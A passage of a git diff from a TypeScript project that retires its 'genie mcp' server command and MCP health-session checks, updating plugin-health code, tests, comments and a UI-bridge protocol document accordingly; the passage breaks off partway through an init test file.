+2482,6 @@ describe('describeCodexIntegration reports unrecognized fallbacks distinctly fro converge: () => healthyPluginResult(), probe: () => healthyCodexProbe(), prove: () => healthyCodexProof(), - runSession: () => ({ - ok: true, - detail: 'ok', - tools: [...REQUIRED_GENIE_MCP_TOOLS], - wishStatusReadOnly: true, - }), installAgents: () => ({ installed: 7, skippedUserOwned: [], keptModified: [], removed: [], backedUp: [] }), fallbackSkillsDir: fallback, }, @@ -2527,12 +2511,6 @@ describe('describeCodexIntegration reports unrecognized fallbacks distinctly fro converge: () => healthyPluginResult(), probe: () => healthyCodexProbe(), prove: () => healthyCodexProof(), - runSession: () => ({ - ok: true, - detail: 'ok', - tools: [...REQUIRED_GENIE_MCP_TOOLS], - wishStatusReadOnly: true, - }), installAgents: () => ({ installed: 7, skippedUserOwned: [], keptModified: [], removed: [], backedUp: [] }), fallbackSkillsDir: fallback, }, @@ -2562,7 +2540,6 @@ describe('proveCodexPluginHealth reject-before-retirement matrix (R4)', () => { codexHome, expectedVersion: VERSION, verifyCodexPayload: () => undefined, - runSession: () => ({ ok: true, detail: 'ok', tools: [...REQUIRED_GENIE_MCP_TOOLS], wishStatusReadOnly: true }), skillInventory: [...CANONICAL_GENIE_SKILL_NAMES], }); @@ -2570,7 +2547,6 @@ describe('proveCodexPluginHealth reject-before-retirement matrix (R4)', () => { const proof = proveCodexPluginHealth(healthyOpts()); expect(proof.version).toBe(1); expect(proof.payload).toHaveLength(CANONICAL_GENIE_SKILL_NAMES.length); - expect(proof.mcp.wishStatusReadOnly).toBe(true); expect(Object.isFrozen(proof)).toBe(true); expect(Object.isFrozen(proof.payload)).toBe(true); expect(() => { @@ -2592,16 +2568,11 @@ describe('proveCodexPluginHealth reject-before-retirement matrix (R4)', () => { }); } - test('accepts a snapshot with no Codex MCP route (usable:false) — plugin MCP is Claude-only now', () => { - // Group A removed the plugin's Codex MCP route, so a post-A snapshot reports - // usable:false. Plugin health is decoupled from Codex-MCP-route usability: a - // proven active root + verified payload + a working launcher session is - // healthy. The launcher (retained for Claude) is exercised by runSession. + test('accepts a snapshot with no Codex MCP route because A7 retired the runtime', () => { const opts = healthyOpts(); opts.snapshot = { ...opts.snapshot, usable: false, usabilityDetail: 'plugin ships no Codex MCP route' }; const proof = proveCodexPluginHealth(opts); expect(proof.version).toBe(1); - expect(proof.mcp.wishStatusReadOnly).toBe(true); }); test('rejects payload identity drift (verifyCodexPayload throws)', () => { @@ -2618,24 +2589,7 @@ describe('proveCodexPluginHealth reject-before-retirement matrix (R4)', () => { expect(() => proveCodexPluginHealth(opts)).toThrow('rejected before retirement'); }); - test('rejects a bounded MCP session failure (missing tool)', () => { - const opts = healthyOpts(); - opts.runSession = () => ({ ok: false, detail: 'missing required Genie tools: genie_wish_status' }); - expect(() => proveCodexPluginHealth(opts)).toThrow('rejected before retirement'); - }); - - test('rejects a non-read-only wish_status even when the session reports ok', () => { - const opts = healthyOpts(); - opts.runSession = () => ({ - ok: true, - detail: 'ok', - tools: [...REQUIRED_GENIE_MCP_TOOLS], - wishStatusReadOnly: false, - }); - expect(() => proveCodexPluginHealth(opts)).toThrow('rejected before retirement'); - }); - - test('rejects an activePluginRoot diverging from the derived canonical cache path before any digest or MCP launch', () => { + test('rejects an activePluginRoot diverging from the derived canonical cache path before any digest', () => { // Simulate a future Codex emitting an installedPath that is physically valid // but lives OUTSIDE codexHome/plugins/cache/automagik/genie/<version>. const divergent = mkdtempSync(join(tmpdir(), 'genie-divergent-plugin-root-')); @@ -2647,22 +2601,15 @@ describe('proveCodexPluginHealth reject-before-retirement matrix (R4)', () => { const opts = healthyOpts(); opts.snapshot = healthyCodexProbe(divergent); let digested = false; - let launched = false; opts.verifyCodexPayload = () => { digested = true; }; - opts.runSession = () => { - launched = true; - return { ok: true, detail: 'ok', tools: [...REQUIRED_GENIE_MCP_TOOLS], wishStatusReadOnly: true }; - }; // Health must reject (no proof returned → no retirement is ever authorized) // and the actionable error must name the divergent root. expect(() => proveCodexPluginHealth(opts)).toThrow('rejected before retirement'); expect(() => proveCodexPluginHealth(opts)).toThrow(divergent); - // The rejection lands BEFORE the payload verifier, the skill digesting, and - // the MCP session launch. + // The rejection lands before the payload verifier and skill digesting. expect(digested).toBe(false); - expect(launched).toBe(false); }); }); @@ -3023,7 +2970,6 @@ function realConvergeOptions(input: { converge: () => healthyPluginResult(), probe: () => healthyCodexProbe(), prove: () => healthyCodexProof(), - runSession: () => ({ ok: true, detail: 'ok', tools: [...REQUIRED_GENIE_MCP_TOOLS], wishStatusReadOnly: true }), fallbackSkillsDir: canonicalTempDir('genie-fallback-conv-'), ...input.deps, } as CodexPluginOnlyDeps, @@ -3051,7 +2997,6 @@ describe('setup Codex fallback-retirement consumer', () => { expectedVersion: VERSION, skillInventory: [...names], payload, - mcp: { initialized: true, tools: [...REQUIRED_GENIE_MCP_TOOLS], wishStatusReadOnly: true }, }) as CodexHealthProof, }; } diff --git a/src/lib/runtime-integrations.ts b/src/lib/runtime-integrations.ts index 19a6790c8..db5b32144 100644 --- a/src/lib/runtime-integrations.ts +++ b/src/lib/runtime-integrations.ts @@ -18,8 +18,6 @@ import { rmSync, writeFileSync, } from 'node:fs'; -import { mkdtempSync } from 'node:fs'; -import { tmpdir } from 'node:os'; import { basename, dirname, join, relative, resolve } from 'node:path'; import { Worker } from 'node:worker_threads'; import historicalRoleAgentAllowlist from '../fixtures/codex-role-agent-allowlist.json'; @@ -42,12 +40,6 @@ import { resolveAgentsSkillsDir, } from './agent-sync.js'; import { getCodexConfigPath, getCodexHome, migrateDeadGenieOtel } from './codex-config.js'; -import { - type BoundedCodexMcpSessionOptions, - type McpSessionResult, - REQUIRED_GENIE_MCP_TOOLS, - runBoundedCodexMcpSession, -} from './codex-mcp-health-session.js'; import { type CodexPluginProbe, type CodexPluginProbeDeps, probeCodexGeniePlugin } from './codex-project-mcp.js'; import { resolveClaudeDir, resolveGenieHome } from './genie-home.js'; import { validateTrustedExecutablePath } from './trusted-executable.js'; @@ -3031,7 +3023,6 @@ export interface CodexHealthProof { readonly expectedVersion: string; readonly skillInventory: readonly string[]; readonly payload: readonly VerifiedCodexSkillPayload[]; - readonly mcp: { readonly initialized: true; readonly tools: readonly string[]; readonly wishStatusReadOnly: true }; } export interface ProveCodexPluginHealthOptions { @@ -3041,13 +3032,8 @@ export interface ProveCodexPluginHealthOptions { expectedVersion: string; /** Deterministic test seam; production binds the installed cache to the canonical bundle. */ verifyCodexPayload?: CodexPayloadVerifier; - /** Deterministic test seam; production launches the plugin MCP through its launcher. */ - runSession?: (options: BoundedCodexMcpSessionOptions) => McpSessionResult; - sessionTimeoutMs?: number; /** Exact expected inventory; defaults to the canonical 22 Genie product skills. */ skillInventory?: readonly string[]; - /** Node command that runs the plugin `.cjs` launcher; defaults to `node`. */ - nodePath?: string; } function rejectHealth(detail: string): never { @@ -3114,17 +3100,13 @@ function bindActiveRootToCanonicalCache(activePluginRoot: string, codexHome: str /** * Reject health BEFORE any retirement unless the single snapshot is exactly one * enabled target-version plugin with a proven active cache root, a - * canonically-verified installed payload and exact inventory, and a bounded MCP - * session that completes initialize / tools-list (all five tools) / read-only - * wish_status. Returns a frozen {@link CodexHealthProof} whose payload feeds + * canonically-verified installed payload and exact inventory. Returns a frozen + * {@link CodexHealthProof} whose payload feeds * retirement. * * Plugin health is deliberately DECOUPLED from Codex-MCP-route usability * (`snapshot.usable`). The plugin no longer registers a Codex MCP route — that - * path is the marker-owned project `.codex/config.toml` reconciled by `genie - * init`. A healthy plugin provides skills + hooks + the retained Claude - * `mcp-launcher.cjs`; the launcher's ability to spawn and speak MCP is proven by - * the bounded session below, not by a plugin-declared MCP registration. + * runtime was retired in A7, so health proves only the surviving plugin payload. */ export function proveCodexPluginHealth(options: ProveCodexPluginHealthOptions): CodexHealthProof { const { snapshot } = options; @@ -3157,32 +3139,6 @@ export function proveCodexPluginHealth(options: ProveCodexPluginHealthOptions): const skillInventory = options.skillInventory ?? CANONICAL_GENIE_SKILL_NAMES; const payload = buildVerifiedCodexPayload(activePluginRoot, skillInventory); - // A7: the session runs through the snapshot's own proven launcher (derived - // from the single activePluginRoot, not a re-read), in an isolated throwaway - // cwd that is not a project. The fail-closed MCP server there returns a typed - // "no project context" result rather than a fabricated empty board; the health - // session accepts that as read-only-healthy — the launcher spawning and - // speaking MCP IS the signal, an absent board there is expected. - const runSession = options.runSession ?? runBoundedCodexMcpSession; - const sessionCwd = mkdtempSync(join(tmpdir(), 'genie-mcp-health-')); - let session: McpSessionResult; - try { - session = runSession({ - launcherPath: join(activePluginRoot, 'scripts', 'mcp-launcher.cjs'), - cwd: sessionCwd, - nodePath: options.nodePath, - timeoutMs: options.sessionTimeoutMs, - requiredTools: REQUIRED_GENIE_MCP_TOOLS, - }); - } finally { - try { - rmSync(sessionCwd, { recursive: true, force: true }); - } catch { - // best-effort; the throwaway cwd never held real state. - } - } - if (!session.ok || session.wishStatusReadOnly !== true) rejectHealth(session.detail); - const frozenPayload = Object.freeze(payload.map((entry) => Object.freeze(entry))); return Object.freeze({ version: 1, @@ -3191,11 +3147,6 @@ export function proveCodexPluginHealth(options: ProveCodexPluginHealthOptions): expectedVersion: options.expectedVersion, skillInventory: Object.freeze([...skillInventory]), payload: frozenPayload, - mcp: Object.freeze({ - initialized: true, - tools: Object.freeze([...(session.tools ?? [])]), - wishStatusReadOnly: true, - }), }) as CodexHealthProof; } @@ -3273,7 +3224,6 @@ export interface CodexFallbackRetirementDeps { recover?: (fallbackSkillsDir: string) => CodexFallbackRetirementResult[]; plan?: (options: PlanCodexFallbackRetirementOptions) => CodexFallbackRetirementPlan; apply?: (plan: CodexFallbackRetirementPlan) => CodexFallbackRetirementResult; - runSession?: (options: BoundedCodexMcpSessionOptions) => McpSessionResult; /** Live Codex user-skills tier; defaults to resolveAgentsSkillsDir() (env-isolated in tests). */ fallbackSkillsDir?: string; probeCwd?: string; @@ -3419,7 +3369,6 @@ export function createSetupCodexFallbackRetirementConsumer( codexHome, expectedVersion: options.expectedVersion, verifyCodexPayload: options.verifyCodexPayload, - runSession: deps.runSession, }); return { status: 'verified', @@ -3488,7 +3437,6 @@ export function convergeCodexPluginOnly(options: ConvergeCodexPluginOnlyOptions) codexHome, expectedVersion: options.expectedVersion, verifyCodexPayload: options.verifyCodexPayload, - runSession: deps.runSession, }); const retirement = retireProvenCodexFallbacks(proof, fallbackSkillsDir, deps); diff --git a/src/lib/v5/UI-BRIDGE.md b/src/lib/v5/UI-BRIDGE.md index 667026e24..1ad49a021 100644 --- a/src/lib/v5/UI-BRIDGE.md +++ b/src/lib/v5/UI-BRIDGE.md @@ -1,21 +1,20 @@ # genie ui-bridge — protocol contract The page the separate-repo genie UI (the dash fork) is built against. `genie -ui-bridge` is a long-lived **stdio** MCP server the UI spawns and owns: reads -reused from `genie mcp`, exactly two roster write tools, and change-push +ui-bridge` is a long-lived **stdio** MCP server the UI spawns and owns: five +read tools, exactly two roster write tools, and change-push notifications from an in-child watcher. Genie stays zero-daemon — the child lives and dies with the UI and **never opens a socket or port**. -> Sibling, not a fork. `genie mcp` now serves the operative surface (5 read + -> 12 write tools); the bridge's own write surface (roster) exists only here. -> The two commands share one transport (`src/lib/v5/mcp-server.ts`). +> This private UI transport is retained independently of the retired `genie +> mcp` product integration. Its roster write surface exists only here. ## Versions | Name | Value | Meaning | |------|-------|---------| | **Bridge protocol version** | **`1.0`** | Versions the bridge CONTRACT: tool set, notification semantics, write surface. Reported by the handshake as `bridgeProtocolVersion`. | -| MCP wire version | `2024-11-05` | The MCP transport version, reported as `protocolVersion`. Unchanged from `genie mcp`. | +| MCP wire version | `2024-11-05` | The private bridge transport version reported as `protocolVersion`. | | Genie version | `<genie CLI version>` | Reported as `genieVersion` (and `serverInfo.version`). Independent release cadence. | The exact protocol version string the handshake reports is **`1.0`**. @@ -67,7 +66,7 @@ survived only through this negotiated handshake. ## Tools -### Read tools (reused from `genie mcp`, identical semantics) +### Read tools (retained after MCP retirement, identical semantics) | Tool | Purpose | Required args | |------|---------|---------------| @@ -150,4 +149,4 @@ the honest daemon-free ceiling, and is ample for a kanban. - **No socket, ever.** The bridge holds zero listening sockets; it speaks only on stdio. Verify with `ss -tlnp` / `lsof` against the child pid — no rows. - **Zero-daemon.** Nothing survives the UI; the child is fork-and-die under the - same trust model `genie mcp` shipped with. + the validated trust model retained from the retired MCP implementation. diff --git a/src/lib/v5/mcp-server.test.ts b/src/lib/v5/mcp-server.test.ts index 48872bd5a..12b74555b 100644 --- a/src/lib/v5/mcp-server.test.ts +++ b/src/lib/v5/mcp-server.test.ts @@ -4,7 +4,7 @@ * Drives a stub server (stub tools + injected open) as a subprocess to prove * the two seam contracts this group owns: * - the injected open is general — whatever handle `openDb` produces is - * validated and served (write-capable `genie mcp` / read-only ui-bridge); + * validated and served (the live read-only ui-bridge plus isolated seams); * - the opt-in per-result error channel UNWRAPS tagged results before * serialization — the wire payload is the inner value and the envelope * sets `isError: true`, while every untagged result keeps `isError: false` diff --git a/src/lib/v5/mcp-server.ts b/src/lib/v5/mcp-server.ts index d3f7d83c9..3f9b41f50 100644 --- a/src/lib/v5/mcp-server.ts +++ b/src/lib/v5/mcp-server.ts @@ -1,8 +1,7 @@ /** * Genie v5 shared stdio MCP server loop — the newline-delimited JSON-RPC 2.0 - * transport extracted verbatim from `src/term-commands/mcp.ts` so that both - * `genie mcp` (write-capable) and `genie ui-bridge` (read + roster writes + - * push) ride ONE transport with zero copy-paste drift. + * transport originally extracted from the retired MCP command. The live + * `genie ui-bridge` (read + roster writes + push) remains its supported caller. * * Transport: one JSON object per line on stdin/stdout — NOT LSP * `Content-Length` framing. Speaks MCP protocol `2024-11-05`. @@ -124,8 +123,8 @@ export interface McpServerConfig { /** * DB open (net-new; returns `null` when the file is absent or cannot be * opened). MUST NOT THROW — return `null` for every failure; the loop calls - * this outside any `try`. May be write-capable (`genie mcp`'s hardened write - * path) or read-only (`genie ui-bridge`) — the loop itself never writes + * this outside any `try`. The live ui-bridge uses a read-only handle; injected + * test seams may use other handles. The loop itself never writes * through the handle; read tools read and write tools mutate through it. A * fail-closed consumer with `resolveContext` turns null into * `project-database-unavailable`; legacy consumers may still degrade to an diff --git a/src/lib/v5/mcp-tools.test.ts b/src/lib/v5/mcp-tools.test.ts index 78d8856a7..df32e3e33 100644 --- a/src/lib/v5/mcp-tools.test.ts +++ b/src/lib/v5/mcp-tools.test.ts @@ -2,10 +2,9 @@ * mcp-tools — the fail-closed project-context resolver (Group A) and the * read-only tool projections it guards. * - * The resolver is re-exported from mcp-tools.ts on purpose: `genie mcp` pulls it - * through the SAME lazy dynamic import that loads the tool registry, so the read - * server can refuse to serialize an outer/cache-root empty board without dragging - * the readonly bun:sqlite open into the eager genie.ts import graph. + * The resolver remains re-exported from mcp-tools.ts for the read-only bridge + * adapter, which can refuse to serialize an outer/cache-root empty board without + * dragging the readonly bun:sqlite open into the eager genie.ts import graph. * * Every fixture is a real git repo in a tmpdir (per repo convention) so the four * production values — effectiveLaunchCwd, worktreeConfigRoot, absolute @@ -607,7 +606,7 @@ function poisonShmHeader(): Buffer { // ============================================================================ // openWriteableDb — hardened write path + read-only-degrade fallback (Group 1 -// of wish mcp-write-tools: `genie mcp` now serves against a WRITABLE handle) +// retained from the historical mcp-write-tools contract) // ============================================================================ describe('openWriteableDb', () => { @@ -855,83 +854,28 @@ describe('openWriteableDb', () => { // MCP_WRITE_TOOLS — the 12 operative write tools (Group 2) // ============================================================================ // -// Every verb is driven through the same in-process registry `genie mcp` -// serves, then its observable db effect is read back via `task-state.ts` -// queries — the parity assertion that each write equals its CLI counterpart. - -interface RpcResponse { - jsonrpc: '2.0'; - id: number | string | null; - result?: { isError?: boolean; content?: Array<{ type: string; text: string }> }; - error?: { code: number; message: string }; -} +// Every verb is driven through the retired registry in-process, then its +// observable db effect is read back via `task-state.ts` queries. Standalone +// cross-process behavior is anchored separately through the supported task CLI. -/** One spawned `genie mcp` run: its responses plus the evidence for missing ones. */ -interface McpServerRun { - responses: RpcResponse[]; - /** stdout lines that were not parseable JSON — what a child killed mid-write leaves. */ - unparsedStdout: string[]; +interface TaskCliRun { + stdout: string; stderr: string; - exitCode: number | null; - /** Set when the OS killed the child; SIGBUS/SIGSEGV escape every JS handler. */ - signal: string | null; + exitCode: number; } -/** Spawn a real `genie mcp` server subprocess (as an MCP client would). */ -async function spawnMcpServer(cwd: string, requests: Record<string, unknown>[]): Promise<McpServerRun> { - const proc = Bun.spawn(['bun', join(import.meta.dir, '..', '..', 'genie.ts'), 'mcp'], { +/** Spawn one supported standalone `genie task` command. */ +async function spawnTaskCli(cwd: string, args: string[]): Promise<TaskCliRun> { + const proc = Bun.spawn(['bun', join(import.meta.dir, '..', '..', 'genie.ts'), 'task', ...args], { cwd, - stdin: 'pipe', stdout: 'pipe', stderr: 'pipe', env: { ...process.env, NO_COLOR: '1', GENIE_TEST_SKIP_PGSERVE: '1' }, }); - proc.stdin.write(`${requests.map((r) => JSON.stringify(r)).join('\n')}\n`); - await proc.stdin.end(); - // Drain both pipes concurrently: a child that fills stderr while we block on - // stdout would wedge, and stderr is the only record a native death leaves. const [stdout, stderr] = await Promise.all([new Response(proc.stdout).text(), new Response(proc.stderr).text()]); - await proc.exited; - const responses: RpcResponse[] = []; - const unparsedStdout: string[] = []; - for (const line of stdout.split('\n')) { - if (line.trim().length === 0) continue; - try { - responses.push(JSON.parse(line) as RpcResponse); - } catch { - unparsedStdout.push(line); - } - } - return { responses, unparsedStdout, stderr, exitCode: proc.exitCode, signal: proc.signalCode }; -} - -/** - * The response for `id`, or a failure naming what the child actually did. A - * server the kernel killed exits with stdout unflushed, so a bare - * `expect(res).toBeDefined()` reports only that the response is missing — never - * that the process died, with what signal, or what it printed first. - */ -function mcpResponse(run: McpServerRun, id: number): RpcResponse { - const found = run.responses.find((r) => r.id === id); - if (found) return found; - throw new Error( - [ - `no JSON-RPC response id=${id} (exit=${run.exitCode} signal=${run.signal})`, - ` ids seen: ${JSON.stringify(run.responses.map((r) => r.id))}`, - ` unparsed stdout: ${JSON.stringify(run.unparsedStdout)}`, - ` stderr: ${run.stderr.trim() || '(empty)'}`, - ].join('\n'), - ); + return { stdout, stderr, exitCode: await proc.exited }; } -const MCP_INIT = { - jsonrpc: '2.0', - id: 1, - method: 'initialize', - params: { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 't', version: '0' } }, -}; -const MCP_INITIALIZED = { jsonrpc: '2.0', method: 'notifications/initialized' }; - describe('MCP_WRITE_TOOLS — the 12 operative write tools', () => { let repo: string; let db: Database; @@ -1329,7 +1273,7 @@ describe('MCP_WRITE_TOOLS — the 12 operative write tools', () => { } }); - test('cross-process claim contention: two spawned servers — exactly one winner, loser gets typed claim_conflict', async () => { + test('cross-process claim contention through standalone task CLI: exactly one winner and one conflict', async () => { const race = initRepo(join(base, 'race-repo')); const seed = openDb({ cwd: race }); createBoard(seed, 'repo'); @@ -1337,34 +1281,18 @@ describe('MCP_WRITE_TOOLS — the 12 operative write tools', () => { seed.exec('PRAGMA wal_checkpoint(TRUNCATE)'); seed.close(); - const drive = (worker: string) => - spawnMcpServer(race, [ - MCP_INIT, - MCP_INITIALIZED, - { - jsonrpc: '2.0', - id: 2, - method: 'tools/call', - params: { name: 'genie_task_checkout', arguments: { id: task.id, worker } }, - }, - ]); + const drive = (worker: string) => spawnTaskCli(race, ['checkout', task.id, '--worker', worker]); const [a, b] = await Promise.all([drive('w1'), drive('w2')]); - // Accessors, not `toBeDefined()`: a missing response must report the child's - // exit status, signal and stderr, not just its own absence. - const aRes = mcpResponse(a, 2); - const bRes = mcpResponse(b, 2); - expect(aRes.error).toBeUndefined(); // no JSON-RPC error, no -32603 - expect(bRes.error).toBeUndefined(); - const outcomes = [aRes, bRes]; - const winners = outcomes.filter((r) => r.result?.isError === false); - const losers = outcomes.filter((r) => r.result?.isError === true); + const outcomes = [a, b]; + const winners = outcomes.filter((run) => run.exitCode === 0); + const losers = outcomes.filter((run) => run.exitCode === 1); expect(winners).toHaveLength(1); expect(losers).toHaveLength(1); - const loserPayload = JSON.parse((losers[0].result?.content as Array<{ type: string; text: string }>)[0].text) as { - error: string; - }; - expect(loserPayload.error).toBe('claim_conflict'); + expect(winners[0].stdout).toContain('in_progress'); + expect(winners[0].stderr).toBe(''); + expect(losers[0].stdout).toBe(''); + expect(losers[0].stderr).toContain('not claimable'); const check = openDb({ cwd: race }); try { const claimedBy = getTask(check, task.id)?.claimedBy ?? null; @@ -1373,7 +1301,7 @@ describe('MCP_WRITE_TOOLS — the 12 operative write tools', () => { } finally { check.close(); } - }, 30_000); // two cold `bun src/genie.ts mcp` boots race here; loaded CI runners exceed the 5s default + }, 30_000); // two cold standalone CLI boots race here; loaded CI runners exceed the 5s default }); function callOn(ctx: ToolContext, name: string, args: Record<string, unknown>): unknown { diff --git a/src/lib/v5/mcp-tools.ts b/src/lib/v5/mcp-tools.ts index bda76f42e..8246e62ac 100644 --- a/src/lib/v5/mcp-tools.ts +++ b/src/lib/v5/mcp-tools.ts @@ -1,20 +1,15 @@ /** - * Genie v5 MCP tools — the projection + dispatch surface of `.genie/genie.db` - * exposed over the hand-rolled stdio MCP server (see - * `src/term-commands/mcp.ts`): 5 read tools (`MCP_TOOLS`) + 12 operative write - * tools (`MCP_WRITE_TOOLS`). + * Genie v5 tool projections and historical dispatch handlers for + * `.genie/genie.db`: 5 read tools (`MCP_TOOLS`) plus the retained 12 operative + * write handlers (`MCP_WRITE_TOOLS`). The public write-capable MCP command is + * retired; standalone board/task commands remain authoritative. * - * This module is intentionally LAZY-LOADED: `genie mcp` dynamic-imports it - * inside the command body so that non-mcp code paths (`genie board`, `genie - * task`, `genie --help`) never touch the `bun:sqlite` opens here. The - * import-graph probe in `mcp.test.ts` locks that contract. + * The live read-only bridge loads this module without pulling its SQLite opens + * into unrelated `genie board`, `genie task`, or `genie --help` paths. * - * `genie mcp` opens through {@link openWriteableDb} — the standard hardened CLI - * write path (`openDb` + binding revalidation), degrading to the readonly - * healing open only when the write is impossible (see the degrade section - * below). The readonly open internals (`openReadonlyDb`, ...) stay in - * production for that fallback and for `genie ui-bridge`, which injects its own - * readonly open. + * The retained {@link openWriteableDb} contract covers the historical hardened + * write path and its degrade behavior. Readonly open internals remain live for + * `genie ui-bridge`, which injects its own readonly open. */ import { constants, Database } from 'bun:sqlite'; @@ -36,10 +31,9 @@ import { type ToolErrorResult, isToolError, toolError } from './mcp-server.js'; import { resolveWishBranch } from './resolve-wish-branch.js'; import { BUSY_TIMEOUT_MS, isBusyError, openWithWalIndexRecovery } from './sqlite-open.js'; -// Re-exported so `genie mcp` (mcp.ts) pulls the fail-closed context resolver in -// the SAME lazy dynamic import that already loads the tool registry — keeping -// the bun:sqlite opens out of the eager genie.ts import graph. -export { isCurrentGenieDb, type ProjectContext, resolveProjectContext } from './genie-db.js'; +// Re-exported for the fail-closed bridge context path while keeping bun:sqlite +// opens out of the eager genie.ts import graph. +export { type ProjectContext, resolveProjectContext } from './genie-db.js'; import { type BlockKind, CheckoutConflictError, @@ -167,8 +161,7 @@ export function openReadonlyDb( * Additive columns land within `user_version = 1` and are backfilled only by * write-path opens (`openDb` → `ensureSchema`), so a database stamped by an * earlier build stays permanently rejected by `isCurrentGenieDb` for a consumer - * that only ever reads — exactly the post-update Codex plugin, whose first - * contact with the repo is `genie mcp`. When (and only when) a successful + * that only ever reads — such as the read-only bridge. When (and only when) a successful * readonly open validates stale, run the same idempotent write-path open every * CLI command already performs, then reopen readonly through the full hardened * binding path. @@ -265,7 +258,7 @@ export function openDegradedReadonlyDb(target?: string | ProjectDatabaseBinding) /** * Open the repo's shared `.genie/genie.db` WRITE-CAPABLE through the standard * hardened CLI path, degrading to the readonly healing open when the write is - * impossible. This is the open `genie mcp` injects into the shared loop. + * impossible. Retained for its hardened open/degrade contract tests. * * 1. WRITE PATH — revalidate the exact `resolveProjectDatabaseBinding` binding * (Decision 4: writes into a substituted/symlinked db are strictly worse diff --git a/src/term-commands/init.test.ts b/src/term-commands/init.test.ts index 46bdc5d91..dcd07046d 100644 --- a/src/term-commands/init.test.ts +++ b/src/term-commands/init.test.ts @@ -1,12 +1,10 @@ import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; import { execFileSync } from 'node:child_process'; -import { existsSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync, writeFileSync } from 'node:fs'; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; -import { mergeCodexMcpFallback, removeCodexMcpFallback } from './init.js'; const CLI = join(import.meta.dir, '..', 'genie.ts'); -const INTERPRETED_MCP_ARGS = [realpathSync(CLI), 'mcp']; const GITIGNORE_RULES = ['.genie/genie.db', '.genie/genie.db-wal', '.genie/genie.db-shm', '.genie/launch/']; let dir: string; @@ -187,122 +185,52 @@ describe('genie init', () => { expect(second.rulesAdded).toEqual([]); }); - describe('MCP server registration', () => { + describe('MCP retirement', () => { const mcpPath = (root: string) => join(root, '.mcp.json'); - test('fresh repo: writes .mcp.json with the genie entry', () => { + test('fresh repo creates no MCP registration', () => { initGitRepo(dir); expect(runInit(dir).code).toBe(0); - - for (const path of [mcpPath(dir)]) { - expect(existsSync(path)).toBe(true); - const servers = JSON.parse(readFileSync(path, 'utf-8')).mcpServers; - expect(servers.genie).toBeDefined(); - expect(servers.genie.args).toEqual(INTERPRETED_MCP_ARGS); - // Absolute command resolved from the running executable — never bare "genie". - expect(servers.genie.command).not.toBe('genie'); - expect(servers.genie.command.startsWith('/')).toBe(true); - } - }); - - test('pre-populated .mcp.json: preserves the other server and adds genie', () => { - initGitRepo(dir); - writeFileSync(mcpPath(dir), '{"mcpServers":{"other":{"command":"x"}}}'); - - expect(runInit(dir).code).toBe(0); - - const servers = JSON.parse(readFileSync(mcpPath(dir), 'utf-8')).mcpServers; - expect(servers.other).toEqual({ command: 'x' }); - expect(servers.genie).toBeDefined(); - expect(servers.genie.args).toEqual(INTERPRETED_MCP_ARGS); - }); - - test('preserves other top-level keys and an alternate wrapper key', () => { - initGitRepo(dir); - // Existing file uses the `servers` wrapper + carries an unrelated top-level key. - writeFileSync(mcpPath(dir), '{"$schema":"./s.json","servers":{"other":{"command":"x"}}}'); - - expect(runInit(dir).code).toBe(0); - - const parsed = JSON.parse(readFileSync(mcpPath(dir), 'utf-8')); - expect(parsed.$schema).toBe('./s.json'); - // Whichever wrapper key already held servers is preserved — no new mcpServers key. - expect(parsed.mcpServers).toBeUndefined(); - expect(parsed.servers.other).toEqual({ command: 'x' }); - expect(parsed.servers.genie).toBeDefined(); + expect(existsSync(mcpPath(dir))).toBe(false); + expect(existsSync(join(dir, '.codex', 'config.toml'))).toBe(false); }); - test('rerun is byte-identical for both fresh and pre-populated configs', () => { + test('preserves unrelated and unowned same-name registrations byte-for-byte', () => { initGitRepo(dir); - writeFileSync(mcpPath(dir), '{"mcpServers":{"other":{"command":"x"}}}'); - expect(runInit(dir).code).toBe(0); - - const mcpBefore = readFileSync(mcpPath(dir)); - + const original = '{"mcpServers":{"other":{"command":"x"},"genie":{"command":"/personal","args":["mcp"]}}}'; + writeFileSync(mcpPath(dir), original); expect(runInit(dir).code).toBe(0); - - expect(readFileSync(mcpPath(dir)).equals(mcpBefore)).toBe(true); + expect(readFileSync(mcpPath(dir), 'utf8')).toBe(original); }); - test('--json reports the mcp config writes as created then skipped', () => { + test('--json reports both registration classes skipped on a fresh repo', () => { initGitRepo(dir); const first = JSON.parse(runInit(dir, ['--json']).stdout); const actions = first.mcp.map((c: { path: string; action: string }) => c.action); - expect(actions).toEqual(['created', 'created']); - - const second = JSON.parse(runInit(dir, ['--json']).stdout); - expect(second.mcp.map((c: { action: string }) => c.action)).toEqual(['skipped', 'skipped']); + expect(actions).toEqual(['skipped', 'skipped']); }); - test('malformed .mcp.json is surfaced, not clobbered', () => { + test('malformed .mcp.json is ignored and preserved byte-for-byte', () => { initGitRepo(dir); writeFileSync(mcpPath(dir), 'not json {'); - const { code, stderr } = runInit(dir); - expect(code).toBe(1); - expect(stderr).toContain('.mcp.json'); - // The bad file is left untouched. + const { code } = runInit(dir); + expect(code).toBe(0); expect(readFileSync(mcpPath(dir), 'utf-8')).toBe('not json {'); - expect(existsSync(join(dir, '.genie', 'INDEX.md'))).toBe(false); - expect(existsSync(join(dir, '.gitignore'))).toBe(false); + expect(existsSync(join(dir, '.genie', 'INDEX.md'))).toBe(true); }); - test('valid but wrong-shaped server maps are rejected without partial scaffold writes', () => { + test('valid but wrong-shaped server maps are preserved because .mcp.json is unmarked', () => { initGitRepo(dir); writeFileSync(mcpPath(dir), '{"mcpServers":[]}'); - const { code, stderr } = runInit(dir); - expect(code).toBe(1); - expect(stderr).toContain('mcpServers'); + const { code } = runInit(dir); + expect(code).toBe(0); expect(readFileSync(mcpPath(dir), 'utf8')).toBe('{"mcpServers":[]}'); expect(existsSync(join(dir, '.codex', 'config.toml'))).toBe(false); - expect(existsSync(join(dir, '.genie', 'INDEX.md'))).toBe(false); + expect(existsSync(join(dir, '.genie', 'INDEX.md'))).toBe(true); }); }); }); -describe('Codex MCP fallback merge', () => { - test('does not duplicate an existing unowned genie server', () => { - const path = join(dir, '.codex', 'config.toml'); - mkdirSync(join(dir, '.codex'), { recursive: true }); - const original = '[mcp_servers.genie]\ncommand = "/existing/genie"\nargs = ["mcp"]\n'; - writeFileSync(path, original); - expect(mergeCodexMcpFallback(path, { command: '/new/genie', args: ['mcp'] })).toBe('skipped'); - expect(readFileSync(path, 'utf8')).toBe(original); - }); - - test('removes only the marker-owned fallback', () => { - const path = join(dir, '.codex', 